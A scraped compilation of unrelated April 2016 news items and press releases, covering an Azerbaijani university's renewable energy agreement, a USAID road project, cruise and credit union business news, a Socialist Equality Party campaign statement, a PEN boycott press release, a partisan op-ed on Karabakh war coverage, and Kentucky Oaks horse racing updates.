The event gathered Akim Badalov, the chair of the State Agency on Alternative and Renewable Energy Sources, Jamil Malikov, Deputy Chairman of the State Agency for Alternative and Renewable Energy Resources, Arzu Huseynova, Deputy Director of the Law and International Relations Department, Tom Weirich, Senior Vice President of Corporate Relations of American Council on Renewable Energy, Syed Zeenat, representative of economics section of US Embassy to Azerbaijan, BHOS management, professors and lecturers.

In his opening speech, BHOS Rector Elmar Gasimov welcomed guests and talked about newly established structures of BHOS, equipment available at BHOS new campus, BHOS international relations including cooperation directions with international companies.

Mentioning establishment of the training and research center on renewable energy engineering at BHOS to contribute development of non-oil sector of Azerbaijan, Elmar Gasimov talked about plans on education and training unique engineers on renewable energy engineering specialization.

BHOS rector was convinced that the cooperation between BHOS and the State Agency on Alternative and Renewable Energy Sources would serve for education and training of highly qualified specialists in the field of renewable and alternative energy engineering based on the contemporary educational program and the dissemination of knowledge in the frames of 'lifelong education' conception.

Akim Badalov, the chair of the State Agency on Alternative and Renewable Energy Sources said he was pleased that BHOS, one of the leading higher educational institutions of Azerbaijan and the Agency entered the cooperation agreement.

He said that cooperation would lead to establishment of education and research center on renewable energy engineering at BHOS new campus, realization of the project on education and training of engineers in the field of renewable energy engineering etc.

Tom Weirich, Senior Vice President of Corporate Relations of American Council on Renewable Energy also said he was pleased of being at one of the leading universities of the country drawing attention of the attendees that he had been working for US Council on Renewable Energy for more than 10 years.

He highly valued the works directed to establishment of the training and research center on renewable energy engineering at BHOS and all works in the same directions. Then there started signing of the agreement between BHOS and the State Agency on Alternative and Renewable Energy Sources of Azerbaijan Republic.

The agreement envisages organization of familiarization visits for BHOS students to the objects and sites of the Agency, offering opportunities by the Agency for BHOS students' internship, involvement in joint research connected with the use of renewable and alternative energy resources, organization of lectures by the specialists of the Agency for BHOS students and employees on renewable and alternative energy, joint organization of workshops and conferences dedicated to renewable and alternative energy resources.
On April 21, residents of the Yerguj community of Khachmaz district gathered to celebrate the completion of a road rehabilitation project. They were joined by representatives of the local Executive Committee and municipality, officials from the Ministry of Economy, and the United States Agency for International Development (USAID). The project was implemented by the East-West Management Institute (EWMI) under the Socio-Economic Development Activity (SEDA) co-financed by the governments of the United States and Azerbaijan.

Yerguj is located 7 kilometers off the Guba-Khachmaz highway. The road, which connects the village with Guba-Khachmaz highway, was in disrepair for years. The poor road conditions caused major difficulties and delays for the transportation of agricultural goods and products, emergency response, and for daily activities of the residents. Community leaders came together and decided to fix this problem.

With support from the EWMI/SEDA project, the community worked with their local and regional governments to pave 400 meters of the village road with asphalt. The new road will improve the day-to-day living conditions for more than 2,600 people by making transportation by car safer, providing better access to the school and markets as well as reducing the transportation costs and travel time.

To date, EWMI/SEDA has provided more than $1.4 million in funding for 69 projects in 61 communities benefiting more than 94,000 people around Azerbaijan. EWMI/SEDA promotes fuller participation of citizens, civil society organizations and local and central government officials to advance socio-economic development. The project is funded by USAID and implemented with support from the Ministry of Economy and the Council for State Support to Non-Governmental Organizations and with assistance from a local non-governmental organization, UMID.
The Maryland Port Administration (MPA) today announced a new contract with Royal Caribbean International that will extend the cruise lines year-round departures from the Helen Delich Bentley Port of Baltimore through June 2020.

Royal Caribbeans Grandeur of the Seas will continue to offer a wide range of cruising experiences from Maryland to the Bahamas, Bermuda, the Caribbean, and New England/Canada.

"Our administration is pleased that Royal Caribbean has made a long-term commitment to Maryland and to the Port of Baltimore," said Governor Larry Hogan. "Through this partnership, vacationers will continue to have a popular and convenient cruising option that provides a significant boost to Maryland's economy for years to come."

The Grandeur of the Seas will continue offering five, nine and 12-night roundtrip itineraries from Baltimore, including a new nine-night voyage to Nassau.

"Royal Caribbean is pleased to renew our contract with the Port of Baltimore, said Michael Bayley, president and chief executive officer for Royal Caribbean International. Baltimore is a fantastic departure point for our guests who live in the Mid-Atlantic States, the northeast and beyond, and the city continuously provides our guests with a wonderful start to their cruise vacation.

In 2015, nearly 200,000 passengers sailed on 90 cruises from the Port of Baltimore. The Port ranks 6th on the East Coast, 11th in the U.S. and 20th in the world for cruise passengers.
GrooveCar credit unions reported double digit growth, or a 21% increase in 2015 over 2014, in auto loans. While a robust economy and competitive lending programs enticed members to borrow, credit unions pulled out all the stops to compete with captives and banks. Credit unions worked hard to increase market share, utilizing multiple channels to reach members. Engagement and communicating with members was a key component, playing a larger role in business development than in previous years. The combination of competitive rates, an auto buying resource coupled with enhanced dealership relations, all helped to close more deals and grow business.

Credit unions serving New Yorks metropolitan region, one of our markets, are fortunate enough to provide services to a growing member base of over 1 million strong. Along with a solid member pool to draw from, the majority of the credit unions also operate under an open charter, which means individuals can easily become members if they live, work or worship in this region. Because of this favorable business climate, indirect loans are an extremely effective route to membership; while at the same time positively impacting growth. With membership on the upward swing this signals great news for credit unions and for members looking for value over banks.

One of the factors credit unions were able to compete, and garner more market share, was because of competitive rate offerings. With rates as low as 1.45% on a 60-month new vehicle loan term with terms extending up to 96 months, credit unions positioned themselves as very competitive players in the automotive market. Chuck Price, VP of Lending for NEFCU, Westbury, New York, with assets over $2.3 billion, revealed that when they compared results to 2014 in both new and used car segments it showed, Strong gains, up 42% and 78%, respectively. Nationally, credit unions earned a 17.6 percent market share of the automotive loan market as reported by Experian. As Price points out, The increase in volume was coupled with a slight increase in the average loan term to 70 months and consistently strong credit quality with FICO scores continuing to average over 750.

Rates were not the only reason for increased market share. By providing real time data as it relates to the competitive landscape, credit unions were able to react to market conditions in a timely manner. Understanding what members want and how to best deliver services also increased members engagement and satisfaction. Providing best practices and recommendations on how to capture more market share has been our strongest suit and it showed based on the results we are seeing. Teachers Federal Credit Union, a leading credit union on Long Island with assets over $5.2 billion, found, 2015 was a banner year for indirect auto lending and 2016 is proving to be just as good, if not better than last year. This is a result of our strong vendor relationship, offered Francis Collins, Sr. Vice President of Credit, Teachers.

Credit unions and dealers benefited when importance was placed on delivering quick decisions and funding. Realizing that providing top notch service to the dealers was as important as being competitive, credit unions honed in on processes to make them even more efficient. This enabled the credit unions to strengthen relationships and facilitate dealers with the service levels they have come to expect from manufacturers and banks. Quick decision turnaround and the infrastructure to reduce response times provided the dealer with the tools to close more loans at the point-of-sale. Indirect loan growth benefited greatly because of this. With a solid foundation to build upon, the GrooveCar indirect program continues its expansion as credit unions have the innate desire for sustainable auto loan growth. While each market has its unique challenges, the appeal remains the same: Serve members, establish and grow relationships with dealers while streamlining the processes for advancing loan portfolios.
UFW wins election to represent 240 farm workers at Ventura County companies by via United Farm Workers

Farm workers at two related Oxnard, Calif. companies with a total of 240 employees at peak season voted April 20, 2016 (today) to be represented by the United Farm Workers in an election conducted by the state Agricultural Labor Relations Board. Workers at Hiji Bros., Inc. and Seaview Growers Inc. cast ballots to decertify and replace the United Food and Commercial Workers Local 5 with the UFW on a vote of 111 for the UFW, 61 for UFCW Local 5 and 6 for no-union. Hiji Bros. grows celery, lettuce and cabbage. Seaview Growers is a nursery.
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The Socialist Equality Party Announces 2016 Candidates by Announcement Repost

The Socialist Equality Party has selected Jerry White as its presidential candidate and Niles Niemuth as its vice-presidential candidate in the 2016 elections. White and Niemuth will run on a socialist, anti-war and anti-capitalist program in the interests of the working class in the United States and around the world.

Jerry White, 56, is the US labor editor of the World Socialist Web Site. He joined the Workers League, the predecessor of the Socialist Equality Party, in 1979, while working at United Parcel Service and attending the City University of New York. For nearly four decades, as a writer and activist, Jerry has played a major role in the struggles of the working class. He was the SEPs presidential candidate in 2008 and 2012.



Niles Niemuth, 28, was raised in a working-class family in Wisconsin and became a member of the SEP during the 2011 mass protests against budget cuts imposed by Wisconsin Governor Scott Walker. Niles joined the staff of the WSWS after completing his masters degree at the University of Wisconsin Milwaukee, where he specialized in African-American history. Niemuth has written extensively on US social conditions, working-class struggles and the governments assault on democratic rights.



The 2016 elections are being held under conditions of intensifying international and domestic crisis. The shadow of global military conflict looms over the elections. The vast majority of American workers and youth are experiencing a relentless decline in their standard of living. While the richest one percent controls the economy, most Americans struggle to make ends meet, millions live in outright poverty, and a substantial percentage of children go hungry.



Neither the Democratic Party nor the Republican Party has anything to offer the great majority of the American people except war, political repression and worsening social conditions. They are the parties of the Wall Street banks, the massive corporations, the Pentagon and the intelligence agencies. Regardless which of these two parties wins the November election, the next government will be the most reactionary, repressive and violent in American history.



The Socialist Equality Party candidates will use the campaign to advance the socialist alternative to capitalism, raise the political consciousness of workers and youth, oppose all forms of national chauvinism, racism and anti-immigrant baiting, fight to unify all workers in the United States, throughout the Americas and internationally, and prepare the working class for the coming struggles.



The election program of the SEP is centered on three essential demands:

1) Oppose US militarism! Stop the drive to World War III!



The SEP campaign is breaking the conspiracy of silence among all the official candidates and the media over the war plans of the United States.



Under the fraudulent cover of the unending war on terror, now in its fifteenth year, Obama jettisoned his 2008 election promises. He continued and expanded the war policies of the Bush administration to assert the global domination of US imperialism. With the advent of drone warfare, the White House has been transformed into the planning center for bureaucratically routinized murder. Millions of peoplein Iraq, Libya, Syria and Afghanistanhave been killed, injured or turned into refugees in the wars launched by the United States since 2001.



The regional wars are leading to global conflict. American imperialism will not tolerate either military or economic challenges to its dominant international position. Washingtons pivot to Asia has set into motion a massive military operation aimed at forcing China to accept the global hegemony of the United States. At the same time, the determination of the US to dominate Central Asia has escalated conflict with Russia.



The reckless confrontations provoked by the Pentagonfrom the Baltic regions to the South China Seathreaten to spiral out of control and lead to thermonuclear war. The ongoing preparations for global warfare, which could lead to the deaths of billions of people, are cloaked in lies and secrecy. The SEP campaign will alert workers and youth to the immense dangers they face and build the foundation for a powerful anti-war movement.

2) Put an end to poverty and social inequality!



The SEP fights to abolish a system in which the super-rich exploit the labor of billions of workers around the world. We call for a vast redistribution of wealth to secure basic social rights, including the right to a decent-paying job, quality education, affordable housing, universal health care, a dignified retirement and access to culture.



Eight years after the financial crash of 2008, the disastrous reality of life in America is drastically at odds with official proclamations of economic recovery. While nominal unemployment has fallen since the depths of the recession, this is largely because millions of Americans have dropped out of the labor force. All the growth in jobs over the past decade has been in the form of contingent, part-time or temporary labor.



Social inequality today is greater than ever before. The top 20 billionaires in the US have as much wealth as the bottom 150 million Americans. The rich not only enjoy untold wealth and privilege, they live longer. The life expectancy gap between the richest and poorest Americans averages almost 15 years for men and 10 years for women.



Young people are burdened by more than $1 trillion in student loan debt, millions of people are being cut off from food stamps, and millions more are seeing their pensions and health care slashed or eliminated. The government spends trillions on a vast military machine and so-called homeland security while it allows the countrys public schools and basic infrastructure to collapse. Residents in Flint, Michigan and other cities are supplied drinking water poisoned with lead and other toxic chemicals.



The proposals from Democratic candidates to raise the federal minimum wagewhether to $12 an hour as proposed by Hillary Clinton or $15 as proposed by Bernie Sandersare not only insincere, they are completely inadequate, leaving workers earning poverty-level wages. The Democrats and their allies in the trade union bureaucracy deliberately cover up the fact that the Obama administration has overseen the greatest transfer of wealth in American history, with 95 percent of all income gains since 2009 going to the top one percent.



The SEP advances a program not for the improvement of capitalism, but for the establishment of socialism. The social rights of the working class cannot be secured without a direct attack on the interests of the capitalist class and the domination of the financial aristocracy over economic life. This means an end to the private ownership of the large corporations, with all those valued above $10 billion transformed into publicly owned enterprises under the democratic control of the working class. To provide quality jobs to all those who need them, the SEP calls for a multitrillion-dollar public works program to rebuild infrastructure throughout the country.

3) Defend democratic rights! No to government spying and police violence!



Under the framework of the war on terror, the most basic democratic rights are being ripped to shreds. Since the revelations of Edward Snowden in 2013 exposed to the world the criminal and unconstitutional activities of the NSA, nothing has been done to rein in the power of the intelligence apparatus. Instead, every terror attackwhether in the United States or abroadis used as a justification to give more powers to the state.



The Obama administration proclaims the right to carry out drone assassinations, without any judicial process, of people around the world, including US citizens. It helps arm a militarized police force that kills over 1,000 people a year with impunity. Those who expose the crimes of the American ruling classSnowden, Chelsea Manning, Julian Assangeare thrown in jail or hunted down and forced into exile.



The vast spying apparatus must be dismantled, along with the Pentagons Northern Command, which is overseeing the ever more direct use of the military within the borders of the United States. Genuine democracy is incompatible with an economic system in which all decisions are dictated by a ruling class that controls the giant corporations and banks and demands ever more brutal attacks on the rights and interests of the working class.

Break with the two-party system!



The fight for peace, equality and democracy is inseparable from a fight against the capitalist system, which subordinates the global economy to a criminal financial elite. The oligarchs control the political system and both major parties. To defend their rights, workers need their own party.



The 2016 election campaign has exposed the deep crisis of the two-party system in the United States and the terminal state of American democracy.



On the Republican side, the emergence of Donald Trump, a candidate whose persona and appeal are of a distinctly fascistic character, is a serious warning to the working class. Trumps racist baiting of Muslims and immigrants of Hispanic origin is aimed at dividing workers against each other and creating the conditions for an ever more violent assault on all opposition to the dictates of Wall Street.



Trumps call to Make America great again is a reactionary fantasy. The reality is that American capitalism is in deep crisis, with the ruling class seeking to leverage its military power to offset US capitalisms long-term economic decline. To this Trump wishes to add the construction of a great wallpromoting a virulent form of nationalism that would be the prelude to even more explosive warfare abroad.



Trumps main opponent, Texas Senator Ted Cruz, is no less reactionary, advancing his own brand of fascistic politics based on Christian fundamentalism. Whoever is nominated, the Republican Party will run its most reactionary campaign in history.



Trump has been able to exploit social anger and hostility to the political establishment, and channel it in a right-wing direction, due to the character of official left politics. The Democratic Party, committed to militarism and austerity, is no less the political instrument of Wall Street and the military-intelligence apparatus than the Republicans.



Hillary Clinton, the Democratic Party frontrunner and likely nominee, is the political personification of the status quo. She and her husband, the former president, amassed a fortune by means of political insider dealing and corruption. As first lady, Clinton was part of an administration that carried out far-reaching attacks on the working class; as senator from New York, she supported the war in Iraq and represented the interests of Wall Street; as secretary of state, she organized the intervention in Libya, fomented civil war in Syria and committed countless other crimes.



The widespread popular support for the campaign of Vermont Senator Bernie Sanders is largely based on his identification as a democratic socialist. His unexpected string of victories in state primaries shows that there is an enormous desire among workers and young people for an alternative to capitalism. The scale of his support has exploded the official narrative of American politics, according to which no one claiming to be socialist can get a hearing.



However, Sanders has demonstrated by his long political career that he is neither a socialist nor an opponent of the political establishment. Even when a nominal independent, he collaborated with the Democrats and staunchly supported the Obama administration. He defends capitalism and American imperialism, and he promotes economic nationalism, seeking to scapegoat workers in Mexico, China and other countries for the loss of jobs in the US.



Sanders central role is to utilize his bogus credentials as a socialist to waylay popular hostility among workers and young people to the two-party system and divert it back into the safe channels of the Democratic Party. The experience of the Obama administration, which came to power promising hope and change, has exposed the role of the Democratic Party as an instrument of the corporate and financial elite. With the assistance of the unions and an array of upper middle-class pseudo-left groups, the Democrats have perfected the practice of combining empty demagogy and various forms of racial, gender and identity politics with a thoroughly right-wing and pro-war policy.



If Sanders were to run an independent campaignas urged by some of his political backersthis would not change the character of his campaign. His program is based on defense of the capitalist system and opposition to a political movement of the working class.



The same applies to the nominally independent campaign of the Green Party. The Green Party is a capitalist party that functions as an external pressure group on the Democrats. When Green parties have participated in governmentsmost notably in Germanythey have invariably backed the policy of the ruling class, including attacks on workers at home and support for imperialist war abroad.

An internationalist and socialist program for the working class



White and Niemuth will address their campaign to workers all over the world, not just in the United States. What happens in the United States has global implications, and the struggle against the American ruling class can be waged only as an international struggle. The same conditions that exist in the United States are repeated in country after country and have already led to explosive social upheavals, from the revolutionary events in Egypt in 2011, to the mass strikes in China and India, to the protests this spring in France against the state of emergency and reactionary labor laws.



The SEP campaign fights to unite all sections of the working class in a common struggle. Our campaign rejects all forms of nationalism, chauvinism and bigotry, used by the ruling class to divide workers against each other.



In the United States, there are growing signs of radicalization, including the rebellion of autoworkers last year against the United Auto Workers sellout contracts and the current strike by Verizon workers. American workers are increasingly turning to politics and seeking radical solutions to the conditions they confront. The ruling class, determined to control the world, will find that it does not have control of its own house.



The basic aim of the SEP election campaign is to build support for socialist policiesto speak to and educate masses of workers and youth who are looking for a way forward. Many are beginning to ask the question: What is socialism? Our campaign will answer this question, distinguishing genuine socialist politics from its various counterfeits.



We urge you to get involved in the campaign. Now is the time to take up an active fight for socialism! This is not a campaign about votes. It is about the organization of workers and young people to prepare for the struggles into which they are entering.



There are many ways you can get involved. Sign up for our email newsletter. Join the campaign by building election committees in your area. Organize a meeting in your area. Help get us on the ballot where that is possible. Promote the campaign among your friends and co-workers. Donate to ensure that the SEP can wage the most aggressive campaign possible.



A new way forward must be forged! To all workers fighting to defend their jobs and living conditions, to young people drowning in debt and without a future, to the millions who are sick of endless war, we say: This is your campaign! Get involved today!


A delegation from Adalah-NY, O/R Books and Verso Books held an impromptu meeting with PEN American Center Executive Director Suzanne Nossel on Tuesday regarding the call for PEN to reject Israeli government sponsorship of the World Voices Festival due to the Israeli governments human rights abuses and suppression of Palestinians freedom of expression.

Rights advocates & publishers meet with PEN Executive Director to discuss call for PEN to drop Israeli government sponsorship for literary festivalMedia Contact: info [at] adalahny.org New York, NY, April 20, 2016  A delegation from Adalah-NY, O/R Books and Verso Books held an impromptu meeting with PEN American Center Executive Director Suzanne Nossel on Tuesday regarding the call for PEN to reject Israeli government sponsorship of the World Voices Festival due to the Israeli governments human rights abuses and suppression of Palestinians freedom of expression. The meeting took place in the PEN American Center office in Manhattan after the delegation delivered a letter signed by 12,500 people that called on PEN to reject Israeli government sponsorship for the annual festival, which begins April 25 in New York City. The letter was accompanied by statements from more than 20 literary figures explaining why they signed the letter to PEN.Though the delegation had not asked for an appointment in advance, Ms. Nossel agreed to meet. While waiting in the reception area, the delegation picked up hard copies of the program for the 2016 World Voices Festival that lists the Israeli Embassy among the Champions of the festival supporting writing and free expression.Ms. Nossel told the visitors that she had read the statements by writers explaining why they believe PEN should reject Israeli government sponsorship. She said the letter and statements raised legitimate concerns and that the points were not lost on her, and she said there are diverse views on the issue. Ms. Nossel added that being responsive may take time and space. When John Oakes from O/R Books suggested that PEN supporters might fundraise to cover the costs of Israeli writers/participants so that PEN could return the money to the Israeli government, Ms. Nossel said PEN cannot consider returning the money, and asserted that there is a strong reaction against the word boycott. She did not elaborate on that point.Allison Brown from Adalah-NY: The New York Campaign for the Boycott of Israel commented, PENs public statements have been misrepresenting our letter, as well as the Palestinian cultural boycott call, as restricting the freedom of expression of Israeli writers. We explained again and in person that we are not calling for a boycott of individuals, but of the Israeli government and complicit institutions. We hope that PEN now has a more accurate understanding of the Palestinian boycott call and will not return again to that same argument.John Oakes of O/R Books said, Im of course disappointed in the response: it seems to me that if the funds were to be replaced, thered be no harm to PEN, its audience or the participating authors. In fact, it would mark a wonderful coming-together of people united in asserting a commitment to civil liberties. The question here is really whether PEN will continue to allow its good name to be used as a cover by an aggressive regime that makes a practice of defying international law. It would be great if a public discussion on the cultural boycott of Israel were to take place in the coming weeks.Phan Nguyen of Verso Books explained that "PEN cannot claim freedom of expression as a defense, as it granted the Israeli government the status of 'Champion' strictly on the basis of financial support for the festival.Patrick Connors from Adalah-NY added, Ms. Nossel acknowledged that we were right to press our case, and we will continue to do so in the hope that PEN will listen to these many members and writers, and will ultimately do the right thing and return the Israeli government funding.The letter to PEN has been signed by writer and activist Angela Davis, Pulitzer Prizewinners Junot Diaz, Richard Ford and Alice Walker, and National Book Awardwinner Louise Erdrich. Writers who provided statements explaining their support for the letter to PEN include Eileen Myles, Fanny Howe, Geoff Dyer, Tom Sleigh, Randa Jarrar, Susan Abulhawa, Deborah Eisenberg, Laila Lalami, Russell Banks, Marilyn Hacker, and past PEN English Board President and Vice-President Gillian Slovo and Kamila Shamsie.Participants cancelled a World Voices Festival event on The Language of War, saying they stand in solidarity with this boycott call, and five World Voices participants have withdrawn from the festival.PEN American Center, the Festival organizer, is a US branch of the writers freedom of expression organization PEN International.In 2015, over 200 writers wrote to PEN American Center criticizing the organizations decision to give a freedom of expression award to the magazine Charlie Hebdo due to its racist content. Controversy has also arisen in past years over Israeli government sponsorship of PENs World Voices Festival.See this press release with hyperlinks: https://adalahny.org/press-release/1403/rights-advocates-publishers-meet-pen-executive-director-discuss-call-pen-drop See the letter to PEN signed by over 16,000 people: https://adalahny.org/web-action/1376/letter-pen-american-center-don-t-partner-israeli-government Read why 24 literary figures signed the letter to PEN: https://adalahny.org/press-release/1401/twenty-two-literary-figures-explain-why-they-signed-letter-calling-pen-american
Truth is the First Casualty of War: Karabakh and Media Misinformation by Jirair Tutunjian

"A foreign correspondent is someone who flies around from hotel to hotel and thinks the most interesting thing about any story is the fact that he has arrived to cover it." Tom Stoppard, Night and Day

The Crimean War, in mid-19th century, introduced the world to the cardigan, the raglan jersey, and the balaclava headdress. It also introduced a new profession: the foreign correspondent. And almost immediately after the war the axiom truth is the first casualty of war was born because of the falsehoods spread by foreign correspondents on both sides, not to mention Tennysons overheated and wrong-headed poem.



Since then, as in any other profession, there have been capable and honest foreign correspondents and reporters who have been incompetent, ignorant or propaganda tools of their nation or their employers. Ernest Hemingway, a giant of American literature, didnt hesitate to color his coverage of the Spanish Civil War with propaganda for the side he favoured. A British daily reported that the Americans had been victorious at Pearl Harbor. Countless American foreign correspondents beat the Pentagon drum during the Vietnam War. More recently, embedded American journalists reported how the US forces had liberated Iraq.



Foreign correspondents can be notoriously uninformed and cavalier about the countrys they report on: for example, the Middle East foreign correspondents of Western media who speak Arabic are as rare as atheists in Mecca. Most Western correspondents thus depend on local minders and a dubious local media to report whats happening. The situation has worsened in recent years as Western media have closed news bureaus around the globe and lone correspondents cover whole continents. This has given rise to the airport reporter... the journalist who flies in to a hot spot for a few days and covers complicated conflicts with a few hundred words then flies away to chase another conflict.



Considering the deteriorating condition of the profession, its no surprise that many of its practitioners did a shabby job in reporting on the early April fighting between Azerbaijan and Nagorno-Karabakh (Artsakh). As usual, East vs. West friction, national and corporate interests (Azeri oil more precious than Armenian blood), carelessness and sheer ignorance played a part in their coverage. And as on other occasions, the conflict was often covered in Manichean terms.



Heres how the anti-Armenian or indifferent foreign correspondents and commentators reported the war between Azerbaijan and Artsakh.



Rather than point out that the fighting erupted because Azeri forces had attacked Armenian positions, hostile-to-the-Armenians journalists wrote of violence and shooting on both sides.



They said both the Armenians and the Azeris spent enormous sums of building their armed forces without mentioning that what Armenia spends is a pittance of what petro-rich Azerbaijan spends. In the past decade Baku has invested $20 billion in its armed forces while the annual Azeri defense budget equals Armenias total national budget. The journalists also didnt mention that impoverished Armenia has no interest in war and is forced to invest in its military in a failed attempt to keep up with the Azerbaijan martial profligacy. The equivalency was jarring.



The foreign correspondents talked vaguely of numerous casualties on both sides thus hiding the fact that the invading Azeris, who made the surprise attack and were better armed than Artsakh Armenians, suffered far greater losses in personnel and in weapons.



The foreign correspondents in many instances failed to mention that three Armenian soldiers were beheaded, and several unarmed and aged Armenian men were killed and mutilated in their homes. Perhaps the foreign correspondents didnt want to suggest proximity in Azeri and ISIS attitude and behaviour. Such a comparison would have painted the Azeris in pitch black and their leadership as war criminals.



The journalists wrote that prior to the recent fight there was almost daily shootings across the contact line. However, they didnt mention that almost in all cases the Azeris had initiated the shooting, forcing the Armenians to retaliate. They also didnt mention that no month has passed in recent years without Azeri President Ilham Aliev or one of his senior military officers threatening to invade Artsakh.



While they occasionally talked about Azeri drones, many foreign correspondents omitted the fact that these very effective weapons, called Harop, were all imported from Israel. That country manufactures 40% of the worlds drones. Mentioning Israeli complicity would have been a no-no in the Western media. In one instance one of these drones killed seven Armenian civilians in a bus.



To hide the David and Goliath aspect of the April fighting, these same journalists didnt mention that the Artsakh fighters achieved victory without reinforcements from Armenia.



Although Azeri forces achieved very little in their costly blitzkrieg, correspondents who were anti-Armenian exaggerated the importance of the several hillocks the Azeris managed to take from the Armenian side.



The anti-Armenian media didnt mention the heroism of young Armenian soldiers who downed helicopter and drone with rudimentary weapons.



Not to offend Turkey, these same foreign correspondents failed to mention Erdogans and Davutoglus incitement for war against tiny Armenia. The correspondents also didnt mention that the Azeri defense minister had threatened to bomb civilians in Stepanagerd.



To depict the Armenians as the foe, the journalists made sure to mention that Russia had a military base in Armenia. Of course, they didnt say that Armenia was not only blockaded by the Turkbeijan Twins but was also threatened by 700,000-plus Turkish army, the second largest in NATO. In other words, the Russian military presence in Armenia is largely symbolic.



Some reporters even falsified the fighting in the 90s by claiming that the Azeris had fought the Armenians of Artsakh and Armenia, in addition to Russian soldiers. Not only did the Russian stop Armenians from advancing but the Azeris had hired Ukrainian pilots ($1,000 per bombing mission) in addition to having brought Pakistani, Mujahideen, Taliban and other Islamic fighters to attack the small Armenian army.



To portray Azerbaijan as peace-loving some journalists said that Baku had cut its military budget by 40%. They didnt say that Baku was forced to do so because of the collapse of the oil market Azerbaijan depends on to stay afloat.



Another way of hitting the Armenian sidein a subtle wayis to call them armed separatists who illegally control 20% of Azerbaijan and Artsakh a breakaway region, occupier and enclave. The use of ethnic to describe Artsakh Armenians is another gimmick. An ethnic group is by definition a minority. Artsakh residents are not ethnics. They are a nation--a nation which has lived in Artsakh for nearly 3,000 years. They are the settled indigenous inhabitants. The Azeris are the interloping Turkic/Tatar nomads. The reason Artsakh Armenians wrested the region from Azerbaijan during the collapse of the Soviet Union was because Joseph Stalin had given Armenian Artsakh to Azerbaijan to please Turkey, Azerbaijans older brother.



To divert the readers attention from the crux of the conflict, some journalists opined that President Serge Sarkissian of Armenia needs a victory on the battlefield to improve his chances of continuing his reign past 2018. The same correspondent said Sarkissian is prepared to follow any Moscow directives where the now tense Turkey-Russia relations are concerned. In other words, nasty and belligerent Armenia threatens NATO. Of course no mention of the various NATO bases in Turkey, the establishment of a NATO base in Nakhichevan (another territory taken from Armenia by Stalin and given to Azerbaijan) and Israeli access to Azeri airfields across from northern Iran.



In one instance a foreign correspondent wrote: The number of incidents along the Armenian-Azeri line increased over the past year. On the Azeri side there is a civilian population that has not left its homes. They are subjected to Armenian fire, which is sometimes aimed at them one-hundred or more times a day. No mention that the incidents were ALWAYS started by the Azeris.



The same reporter ended his misleading report with: Now that Azerbaijan has proved its military superiority, there is a chance for real diplomatic communication that could lead to an agreement. By this reporters estimation, war is peace, petrol is a cleaning agent, and corrupt, dictatorial and belligerent Baby Aliyev is a modern Simon Bolivar.



Orwellianism is alive and well.



Jirair Tutunjian is a Canadian-Armenian journalist.


Updates on Kentucky Oaks 2016 Contenders: Terra Promessa rises to the top after the defection of Songbird. Fans looked forward to watching Songbird crush the Kentucky Oaks on May 6 at Churchill Downs, but with the star horse out of the race, bettors can now wager looking for a big score rather than skipping the event for lack of value.

As for who will replace Songbird as the favorite, the popular Rachels Valentina will attract tons of attention and may challenge Terra Promessa and Land Over Sea for the role.

1. Terra Promessa (150): The new points leader breezed four furlongs in 52.20 seconds last Monday at Churchill Downs for trainer Steve Asmussen and Stonestreet Stables.

2. Lewis Bay (130): According to David Grening of Daily Racing Form, the Chad Brown-trained filly galloped over Belmont Park last Monday and was scheduled to ship to Kentucky the following day.

3. Land Over Sea (128): Last Friday, the Fair Grounds Oaks winner breezed five furlongs in 1:02.80 at Keeneland.

4. Weep No More (100): No updates are readily available. As an interesting fact though, the second dam Flute won the 2001 Kentucky Oaks for the revered Bobby Frankel.

5. Go Maggie Go (100): Last Saturday, the Dale Romans-trained daughter of Ghostzapper breezed four furlongs in 48.80 seconds at Churchill Downs.

6. Cathryn Sophia (80): The third-place runner in the Ashland Stakes suddenly became possible for the Kentucky Oaks. Trainer John Servis admits he changed his mind after Songbird withdrew from consideration.

7. Mo dAmour (70): Princess of Sylmars connections (Todd Pletcher, King of Prussia) campaign this filly. Without Songbird around, an attempt at the Oaks seems probable.

8. Venus Valentine (50): The Congrats filly trained by Tom Amoss worked six furlongs in 1:11.80 on Wednesday at Churchill Downs. With Corey Lanerie expected to pilot Weep No More, it will be interesting to see who rides her.

9. Mokat (50): Now everyone wants a shot at the Kentucky Oaks! The connections made the Santa Anita Oaks runner-up a late nominee and will take their shot in two weeks.

10. Rachels Valentina (48): Most bettors expect the Ashland Stakes runner-up to attract more attention than Weep No More. The daughter of Rachel Alexandra recently breezed four furlongs in 48.60 seconds at Keeneland.

11. Royal Obsession (45): The expensive Tapit filly, also trained by Asmussen and owned by Stonestreet, worked four furlongs in 51.40 seconds on April 18 at Churchill Downs.

12. Dream Dance (44): Songbirds defection brings this one into the mix as well. As a daughter of Afleet Alex, she will make the sires fans happy with an Oaks win.

13. Nickname (40): Just last weekend, the daughter of Scat Daddy ran a close second in the Beaumont at Keeneland and remains under consideration according to the Twitter handle @DerbyNews.

14. Taxable (40): On April 18, the Winchell Thoroughbreds contender breezed four furlongs in 51.80 seconds at Churchill Downs (probably alongside Royal Obsession considering the trainer and similar final workout time).

Related Links:

Updates On 2016 Kentucky Derby Horses
Baku, Azerbaijan, Apr. 22

By Anakhanum Khidayatova - Trend:

Positive decisions will be made at the 7th Global Forum of the UN Alliance of Civilizations (UNAOC) in Baku, Latvia's ambassador to Azerbaijan Juris Maklakovs told Trend Apr. 22.

"The UN is an authoritative international organization," the ambassador said. "The [Forum's] agenda includes the most pressing issues."

"The topic of the 7th UNAOC Global Forum - Living Together In Inclusive Societies: A Challenge and A Goal - coincides with multiculturalism, which is Azerbaijan's priority chosen this year," the ambassador added.

He said these forums provide an opportunity for participants from different countries to find a more appropriate solution to a particular issue.

The ambassador added that Latvia will be represented at the forum by Zanda Kalnina-Lukashevich, the parliamentary secretary to the foreign ministry.

"Latvia is interested in looking for the best solutions on the topic of the forum," the diplomat added.

The 7th UNAOC Global Forum will be held in Baku Apr. 25-27.

It is planned to hold a meeting with participation of high-ranking officials and about 30 sessions during the Forum.

The Baku Declaration is expected to be adopted during the high-level meeting of the UNAOC Global Forum.

Azerbaijan's President Ilham Aliyev signed a decree on July 24, 2015 to create an organizing committee for holding the 7th UNAOC Global Forum in Baku.

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Follow the author on Twitter: @Anahanum
St. Paul, MN While attorneys predict the number of While attorneys predict the number of Bair Hugger lawsuits will rise, 3M says there is no evidence that its warming blanket increases the possibility of infection. But plaintiffs claim the warming blanket blows more than hot air.



In contrast to the typical medical device mass tort litigation

initiated by outside events - such as FDA action or the discovery

of new risks published in independent, peer-reviewed studies -

these cases present the unprecedented circumstance of product

liability litigation concocted by lawyers and based on the false

and misleading claims of the inventor of the device and now

competitor.

